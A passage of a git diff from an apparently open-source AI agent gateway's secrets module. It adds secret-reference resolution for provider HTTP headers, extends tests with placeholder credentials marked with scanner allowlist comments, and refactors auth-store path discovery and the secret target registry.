b/src/secrets/runtime-config-collectors-core.ts @@ -10,6 +10,7 @@ import { isRecord } from "./shared.js"; type ProviderLike = { apiKey?: unknown; + headers?: unknown; enabled?: unknown; }; @@ -24,18 +25,37 @@ function collectModelProviderAssignments(params: { context: ResolverContext; }): void { for (const [providerId, provider] of Object.entries(params.providers)) { + const providerIsActive = provider.enabled !== false; collectSecretInputAssignment({ value: provider.apiKey, path: `models.providers.${providerId}.apiKey`, expected: "string", defaults: params.defaults, context: params.context, - active: provider.enabled !== false, + active: providerIsActive, inactiveReason: "provider is disabled.", apply: (value) => { provider.apiKey = value; }, }); + const headers = isRecord(provider.headers) ? provider.headers : undefined; + if (!headers) { + continue; + } + for (const [headerKey, headerValue] of Object.entries(headers)) { + collectSecretInputAssignment({ + value: headerValue, + path: `models.providers.${providerId}.headers.${headerKey}`, + expected: "string", + defaults: params.defaults, + context: params.context, + active: providerIsActive, + inactiveReason: "provider is disabled.", + apply: (value) => { + headers[headerKey] = value; + }, + }); + } } } diff --git a/src/secrets/runtime.coverage.test.ts b/src/secrets/runtime.coverage.test.ts index 468963041b8..35d265a612d 100644 --- a/src/secrets/runtime.coverage.test.ts +++ b/src/secrets/runtime.coverage.test.ts @@ -27,7 +27,7 @@ function toConcretePathSegments(pathPattern: string): string[] { function buildConfigForOpenClawTarget(entry: SecretRegistryEntry, envId: string): OpenClawConfig { const config = {} as OpenClawConfig; const refTargetPath = - entry.secretShape === "sibling_ref" && entry.refPathPattern + entry.secretShape === "sibling_ref" && entry.refPathPattern // pragma: allowlist secret ? entry.refPathPattern : entry.pathPattern; setPathCreateStrict(config, toConcretePathSegments(refTargetPath), { diff --git a/src/secrets/runtime.test.ts b/src/secrets/runtime.test.ts index 40e766179e2..1d9189f843c 100644 --- a/src/secrets/runtime.test.ts +++ b/src/secrets/runtime.test.ts @@ -56,6 +56,13 @@ describe("secrets runtime snapshot", () => { openai: { baseUrl: "https://api.openai.com/v1", apiKey: { source: "env", provider: "default", id: "OPENAI_API_KEY" }, + headers: { + Authorization: { + source: "env", + provider: "default", + id: "OPENAI_PROVIDER_AUTH_HEADER", + }, + }, models: [], }, }, @@ -122,21 +129,22 @@ describe("secrets runtime snapshot", () => { const snapshot = await prepareSecretsRuntimeSnapshot({ config, env: { - OPENAI_API_KEY: "sk-env-openai", - GITHUB_TOKEN: "ghp-env-token", - REVIEW_SKILL_API_KEY: "sk-skill-ref", - MEMORY_REMOTE_API_KEY: "mem-ref-key", - TALK_API_KEY: "talk-ref-key", - TALK_PROVIDER_API_KEY: "talk-provider-ref-key", + OPENAI_API_KEY: "sk-env-openai", // pragma: allowlist secret + OPENAI_PROVIDER_AUTH_HEADER: "Bearer sk-env-header", // pragma: allowlist secret + GITHUB_TOKEN: "ghp-env-token", // pragma: allowlist secret + REVIEW_SKILL_API_KEY: "sk-skill-ref", // pragma: allowlist secret + MEMORY_REMOTE_API_KEY: "mem-ref-key", // pragma: allowlist secret + TALK_API_KEY: "talk-ref-key", // pragma: allowlist secret + TALK_PROVIDER_API_KEY: "talk-provider-ref-key", // pragma: allowlist secret REMOTE_GATEWAY_TOKEN: "remote-token-ref", - REMOTE_GATEWAY_PASSWORD: "remote-password-ref", + REMOTE_GATEWAY_PASSWORD: "remote-password-ref", // pragma: allowlist secret TELEGRAM_BOT_TOKEN_REF: "telegram-bot-ref", - TELEGRAM_WEBHOOK_SECRET_REF: "telegram-webhook-ref", + TELEGRAM_WEBHOOK_SECRET_REF: "telegram-webhook-ref", // pragma: allowlist secret TELEGRAM_WORK_BOT_TOKEN_REF: "telegram-work-ref", - SLACK_SIGNING_SECRET_REF: "slack-signing-ref", + SLACK_SIGNING_SECRET_REF: "slack-signing-ref", // pragma: allowlist secret SLACK_WORK_BOT_TOKEN_REF: "slack-work-bot-ref", SLACK_WORK_APP_TOKEN_REF: "slack-work-app-ref", - WEB_SEARCH_API_KEY: "web-search-ref", + WEB_SEARCH_API_KEY: "web-search-ref", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => @@ -162,6 +170,9 @@ describe("secrets runtime snapshot", () => { }); expect(snapshot.config.models?.providers?.openai?.apiKey).toBe("sk-env-openai"); + expect(snapshot.config.models?.providers?.openai?.headers?.Authorization).toBe( + "Bearer sk-env-header", + ); expect(snapshot.config.skills?.entries?.["review-pr"]?.apiKey).toBe("sk-skill-ref"); expect(snapshot.config.agents?.defaults?.memorySearch?.remote?.apiKey).toBe("mem-ref-key"); expect(snapshot.config.talk?.apiKey).toBe("talk-ref-key"); @@ -305,7 +316,7 @@ describe("secrets runtime snapshot", () => { }, }), env: { - WEB_SEARCH_API_KEY: "web-search-ref", + WEB_SEARCH_API_KEY: "web-search-ref", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -343,8 +354,8 @@ describe("secrets runtime snapshot", () => { }, }), env: { - WEB_SEARCH_API_KEY: "web-search-ref", - WEB_SEARCH_GEMINI_API_KEY: "web-search-gemini-ref", + WEB_SEARCH_API_KEY: "web-search-ref", // pragma: allowlist secret + WEB_SEARCH_GEMINI_API_KEY: "web-search-gemini-ref", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -374,7 +385,7 @@ describe("secrets runtime snapshot", () => { }, }), env: { - WEB_SEARCH_GEMINI_API_KEY: "web-search-gemini-ref", + WEB_SEARCH_GEMINI_API_KEY: "web-search-gemini-ref", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -399,7 +410,7 @@ describe("secrets runtime snapshot", () => { { providers: { openai: { - apiKey: "sk-from-file-provider", + apiKey: "sk-from-file-provider", // pragma: allowlist secret }, }, }, @@ -494,7 +505,7 @@ describe("secrets runtime snapshot", () => { }, }, }), - env: { OPENAI_API_KEY: "sk-runtime" }, + env: { OPENAI_API_KEY: "sk-runtime" }, // pragma: allowlist secret agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => loadAuthStoreWithProfiles({ @@ -603,7 +614,7 @@ describe("secrets runtime snapshot", () => { auth: { mode: "password", token: "local-token", - password: "local-password", + password: "local-password", // pragma: allowlist secret }, remote: { enabled: true, @@ -642,7 +653,7 @@ describe("secrets runtime snapshot", () => { }, }), env: { - GATEWAY_PASSWORD_REF: "resolved-gateway-password", + GATEWAY_PASSWORD_REF: "resolved-gateway-password", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -680,7 +691,7 @@ describe("secrets runtime snapshot", () => { auth: { mode: "password", token: { source: "env", provider: "default", id: "GATEWAY_TOKEN_REF" }, - password: "password-123", + password: "password-123", // pragma: allowlist secret }, }, }), @@ -728,7 +739,7 @@ describe("secrets runtime snapshot", () => { }, }), env: { - GATEWAY_PASSWORD_REF: "resolved-gateway-password", + GATEWAY_PASSWORD_REF: "resolved-gateway-password", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -822,7 +833,7 @@ describe("secrets runtime snapshot", () => { }), env: { REMOTE_TOKEN: "resolved-remote-token", - REMOTE_PASSWORD: "resolved-remote-password", + REMOTE_PASSWORD: "resolved-remote-password", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -846,7 +857,7 @@ describe("secrets runtime snapshot", () => { }, }), env: { - REMOTE_PASSWORD: "resolved-remote-password", + REMOTE_PASSWORD: "resolved-remote-password", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -980,8 +991,8 @@ describe("secrets runtime snapshot", () => { }, }), env: { - NEXTCLOUD_BOT_SECRET: "resolved-nextcloud-bot-secret", - NEXTCLOUD_API_PASSWORD: "resolved-nextcloud-api-password", + NEXTCLOUD_BOT_SECRET: "resolved-nextcloud-bot-secret", // pragma: allowlist secret + NEXTCLOUD_API_PASSWORD: "resolved-nextcloud-api-password", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -1022,8 +1033,8 @@ describe("secrets runtime snapshot", () => { }, }), env: { - NEXTCLOUD_WORK_BOT_SECRET: "resolved-nextcloud-work-bot-secret", - NEXTCLOUD_WORK_API_PASSWORD: "resolved-nextcloud-work-api-password", + NEXTCLOUD_WORK_BOT_SECRET: "resolved-nextcloud-work-bot-secret", // pragma: allowlist secret + NEXTCLOUD_WORK_API_PASSWORD: "resolved-nextcloud-work-api-password", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -1058,7 +1069,7 @@ describe("secrets runtime snapshot", () => { }), env: { REMOTE_GATEWAY_TOKEN: "tailscale-remote-token", - REMOTE_GATEWAY_PASSWORD: "tailscale-remote-password", + REMOTE_GATEWAY_PASSWORD: "tailscale-remote-password", // pragma: allowlist secret }, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ version: 1, profiles: {} }), @@ -1931,7 +1942,7 @@ describe("secrets runtime snapshot", () => { list: [{ id: "worker" }], }, }, - env: { OPENAI_API_KEY: "sk-runtime-worker" }, + env: { OPENAI_API_KEY: "sk-runtime-worker" }, // pragma: allowlist secret }); await expect(fs.access(workerStorePath)).rejects.toMatchObject({ code: "ENOENT" }); diff --git a/src/secrets/secret-value.ts b/src/secrets/secret-value.ts index 9713451e892..9a192fede16 100644 --- a/src/secrets/secret-value.ts +++ b/src/secrets/secret-value.ts @@ -1,6 +1,6 @@ import { isNonEmptyString, isRecord } from "./shared.js"; -export type SecretExpectedResolvedValue = "string" | "string-or-object"; +export type SecretExpectedResolvedValue = "string" | "string-or-object"; // pragma: allowlist secret export function isExpectedResolvedSecretValue( value: unknown, diff --git a/src/secrets/storage-scan.ts b/src/secrets/storage-scan.ts index 15c02f1922c..557f611c006 100644 --- a/src/secrets/storage-scan.ts +++ b/src/secrets/storage-scan.ts @@ -1,49 +1,17 @@ import fs from "node:fs"; import path from "node:path"; import { listAgentIds, resolveAgentDir } from "../agents/agent-scope.js"; -import { resolveAuthStorePath } from "../agents/auth-profiles/paths.js"; import type { OpenClawConfig } from "../config/config.js"; import { resolveUserPath } from "../utils.js"; +import { listAuthProfileStorePaths as listAuthProfileStorePathsFromAuthStorePaths } from "./auth-store-paths.js"; +import { parseEnvValue } from "./shared.js"; export function parseEnvAssignmentValue(raw: string): string { - const trimmed = raw.trim(); - if ( - (trimmed.startsWith('"') && trimmed.endsWith('"')) || - (trimmed.startsWith("'") && trimmed.endsWith("'")) - ) { - return trimmed.slice(1, -1); - } - return trimmed; + return parseEnvValue(raw); } export function listAuthProfileStorePaths(config: OpenClawConfig, stateDir: string): string[] { - const paths = new Set(); - // Scope default auth store discovery to the provided stateDir instead of - // ambient process env, so scans do not include unrelated host-global stores. - paths.add(path.join(resolveUserPath(stateDir), "agents", "main", "agent", "auth-profiles.json")); - - const agentsRoot = path.join(resolveUserPath(stateDir), "agents"); - if (fs.existsSync(agentsRoot)) { - for (const entry of fs.readdirSync(agentsRoot, { withFileTypes: true })) { - if (!entry.isDirectory()) { - continue; - } - paths.add(path.join(agentsRoot, entry.name, "agent", "auth-profiles.json")); - } - } - - for (const agentId of listAgentIds(config)) { - if (agentId === "main") { - paths.add( - path.join(resolveUserPath(stateDir), "agents", "main", "agent", "auth-profiles.json"), - ); - continue; - } - const agentDir = resolveAgentDir(config, agentId); - paths.add(resolveUserPath(resolveAuthStorePath(agentDir))); - } - - return [...paths]; + return listAuthProfileStorePathsFromAuthStorePaths(config, stateDir); } export function listLegacyAuthJsonPaths(stateDir: string): string[] { @@ -64,6 +32,32 @@ export function listLegacyAuthJsonPaths(stateDir: string): string[] { return out; } +export function listAgentModelsJsonPaths(config: OpenClawConfig, stateDir: string): string[] { + const paths = new Set(); + paths.add(path.join(resolveUserPath(stateDir), "agents", "main", "agent", "models.json")); + + const agentsRoot = path.join(resolveUserPath(stateDir), "agents"); + if (fs.existsSync(agentsRoot)) { + for (const entry of fs.readdirSync(agentsRoot, { withFileTypes: true })) { + if (!entry.isDirectory()) { + continue; + } + paths.add(path.join(agentsRoot, entry.name, "agent", "models.json")); + } + } + + for (const agentId of listAgentIds(config)) { + if (agentId === "main") { + paths.add(path.join(resolveUserPath(stateDir), "agents", "main", "agent", "models.json")); + continue; + } + const agentDir = resolveAgentDir(config, agentId); + paths.add(path.join(resolveUserPath(agentDir), "models.json")); + } + + return [...paths]; +} + export function readJsonObjectIfExists(filePath: string): { value: Record | null; error?: string; diff --git a/src/secrets/target-registry-data.ts b/src/secrets/target-registry-data.ts index 53eb4307751..3be4992d28f 100644 --- a/src/secrets/target-registry-data.ts +++ b/src/secrets/target-registry-data.ts @@ -1,5 +1,8 @@ import type { SecretTargetRegistryEntry } from "./target-registry-types.js"; +const SECRET_INPUT_SHAPE = "secret_input"; // pragma: allowlist secret +const SIBLING_REF_SHAPE = "sibling_ref"; // pragma: allowlist secret + const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ { id: "auth-profiles.api_key.key", @@ -7,7 +10,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ configFile: "auth-profiles.json", pathPattern: "profiles.*.key", refPathPattern: "profiles.*.keyRef", - secretShape: "sibling_ref", + secretShape: SIBLING_REF_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -20,7 +23,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ configFile: "auth-profiles.json", pathPattern: "profiles.*.token", refPathPattern: "profiles.*.tokenRef", - secretShape: "sibling_ref", + secretShape: SIBLING_REF_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -32,7 +35,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "agents.defaults.memorySearch.remote.apiKey", configFile: "openclaw.json", pathPattern: "agents.defaults.memorySearch.remote.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -43,7 +46,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "agents.list[].memorySearch.remote.apiKey", configFile: "openclaw.json", pathPattern: "agents.list[].memorySearch.remote.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -54,7 +57,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.bluebubbles.accounts.*.password", configFile: "openclaw.json", pathPattern: "channels.bluebubbles.accounts.*.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -65,7 +68,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.bluebubbles.password", configFile: "openclaw.json", pathPattern: "channels.bluebubbles.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -76,7 +79,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.discord.accounts.*.pluralkit.token", configFile: "openclaw.json", pathPattern: "channels.discord.accounts.*.pluralkit.token", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -87,7 +90,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.discord.accounts.*.token", configFile: "openclaw.json", pathPattern: "channels.discord.accounts.*.token", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -98,7 +101,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.discord.accounts.*.voice.tts.elevenlabs.apiKey", configFile: "openclaw.json", pathPattern: "channels.discord.accounts.*.voice.tts.elevenlabs.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -109,7 +112,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.discord.accounts.*.voice.tts.openai.apiKey", configFile: "openclaw.json", pathPattern: "channels.discord.accounts.*.voice.tts.openai.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -120,7 +123,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.discord.pluralkit.token", configFile: "openclaw.json", pathPattern: "channels.discord.pluralkit.token", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -131,7 +134,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.discord.token", configFile: "openclaw.json", pathPattern: "channels.discord.token", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -142,7 +145,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.discord.voice.tts.elevenlabs.apiKey", configFile: "openclaw.json", pathPattern: "channels.discord.voice.tts.elevenlabs.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -153,7 +156,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.discord.voice.tts.openai.apiKey", configFile: "openclaw.json", pathPattern: "channels.discord.voice.tts.openai.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -164,7 +167,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.feishu.accounts.*.appSecret", configFile: "openclaw.json", pathPattern: "channels.feishu.accounts.*.appSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -175,7 +178,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.feishu.accounts.*.verificationToken", configFile: "openclaw.json", pathPattern: "channels.feishu.accounts.*.verificationToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -186,7 +189,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.feishu.appSecret", configFile: "openclaw.json", pathPattern: "channels.feishu.appSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -197,7 +200,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.feishu.verificationToken", configFile: "openclaw.json", pathPattern: "channels.feishu.verificationToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -210,7 +213,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ configFile: "openclaw.json", pathPattern: "channels.googlechat.accounts.*.serviceAccount", refPathPattern: "channels.googlechat.accounts.*.serviceAccountRef", - secretShape: "sibling_ref", + secretShape: SIBLING_REF_SHAPE, expectedResolvedValue: "string-or-object", includeInPlan: true, includeInConfigure: true, @@ -223,7 +226,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ configFile: "openclaw.json", pathPattern: "channels.googlechat.serviceAccount", refPathPattern: "channels.googlechat.serviceAccountRef", - secretShape: "sibling_ref", + secretShape: SIBLING_REF_SHAPE, expectedResolvedValue: "string-or-object", includeInPlan: true, includeInConfigure: true, @@ -234,7 +237,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.irc.accounts.*.nickserv.password", configFile: "openclaw.json", pathPattern: "channels.irc.accounts.*.nickserv.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -245,7 +248,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.irc.accounts.*.password", configFile: "openclaw.json", pathPattern: "channels.irc.accounts.*.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -256,7 +259,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.irc.nickserv.password", configFile: "openclaw.json", pathPattern: "channels.irc.nickserv.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -267,7 +270,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.irc.password", configFile: "openclaw.json", pathPattern: "channels.irc.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -278,7 +281,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.mattermost.accounts.*.botToken", configFile: "openclaw.json", pathPattern: "channels.mattermost.accounts.*.botToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -289,7 +292,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.mattermost.botToken", configFile: "openclaw.json", pathPattern: "channels.mattermost.botToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -300,7 +303,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.matrix.accounts.*.password", configFile: "openclaw.json", pathPattern: "channels.matrix.accounts.*.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -311,7 +314,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.matrix.password", configFile: "openclaw.json", pathPattern: "channels.matrix.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -322,7 +325,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.msteams.appPassword", configFile: "openclaw.json", pathPattern: "channels.msteams.appPassword", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -333,7 +336,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.nextcloud-talk.accounts.*.apiPassword", configFile: "openclaw.json", pathPattern: "channels.nextcloud-talk.accounts.*.apiPassword", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -344,7 +347,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.nextcloud-talk.accounts.*.botSecret", configFile: "openclaw.json", pathPattern: "channels.nextcloud-talk.accounts.*.botSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -355,7 +358,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.nextcloud-talk.apiPassword", configFile: "openclaw.json", pathPattern: "channels.nextcloud-talk.apiPassword", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -366,7 +369,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.nextcloud-talk.botSecret", configFile: "openclaw.json", pathPattern: "channels.nextcloud-talk.botSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -377,7 +380,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.slack.accounts.*.appToken", configFile: "openclaw.json", pathPattern: "channels.slack.accounts.*.appToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -388,7 +391,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.slack.accounts.*.botToken", configFile: "openclaw.json", pathPattern: "channels.slack.accounts.*.botToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -399,7 +402,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.slack.accounts.*.signingSecret", configFile: "openclaw.json", pathPattern: "channels.slack.accounts.*.signingSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -410,7 +413,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.slack.accounts.*.userToken", configFile: "openclaw.json", pathPattern: "channels.slack.accounts.*.userToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -421,7 +424,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.slack.appToken", configFile: "openclaw.json", pathPattern: "channels.slack.appToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -432,7 +435,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.slack.botToken", configFile: "openclaw.json", pathPattern: "channels.slack.botToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -443,7 +446,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.slack.signingSecret", configFile: "openclaw.json", pathPattern: "channels.slack.signingSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -454,7 +457,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.slack.userToken", configFile: "openclaw.json", pathPattern: "channels.slack.userToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -465,7 +468,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.telegram.accounts.*.botToken", configFile: "openclaw.json", pathPattern: "channels.telegram.accounts.*.botToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -476,7 +479,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.telegram.accounts.*.webhookSecret", configFile: "openclaw.json", pathPattern: "channels.telegram.accounts.*.webhookSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -487,7 +490,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.telegram.botToken", configFile: "openclaw.json", pathPattern: "channels.telegram.botToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -498,7 +501,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.telegram.webhookSecret", configFile: "openclaw.json", pathPattern: "channels.telegram.webhookSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -509,7 +512,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.zalo.accounts.*.botToken", configFile: "openclaw.json", pathPattern: "channels.zalo.accounts.*.botToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -520,7 +523,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.zalo.accounts.*.webhookSecret", configFile: "openclaw.json", pathPattern: "channels.zalo.accounts.*.webhookSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -531,7 +534,7 @@ const SECRET_TARGET_REGISTRY: 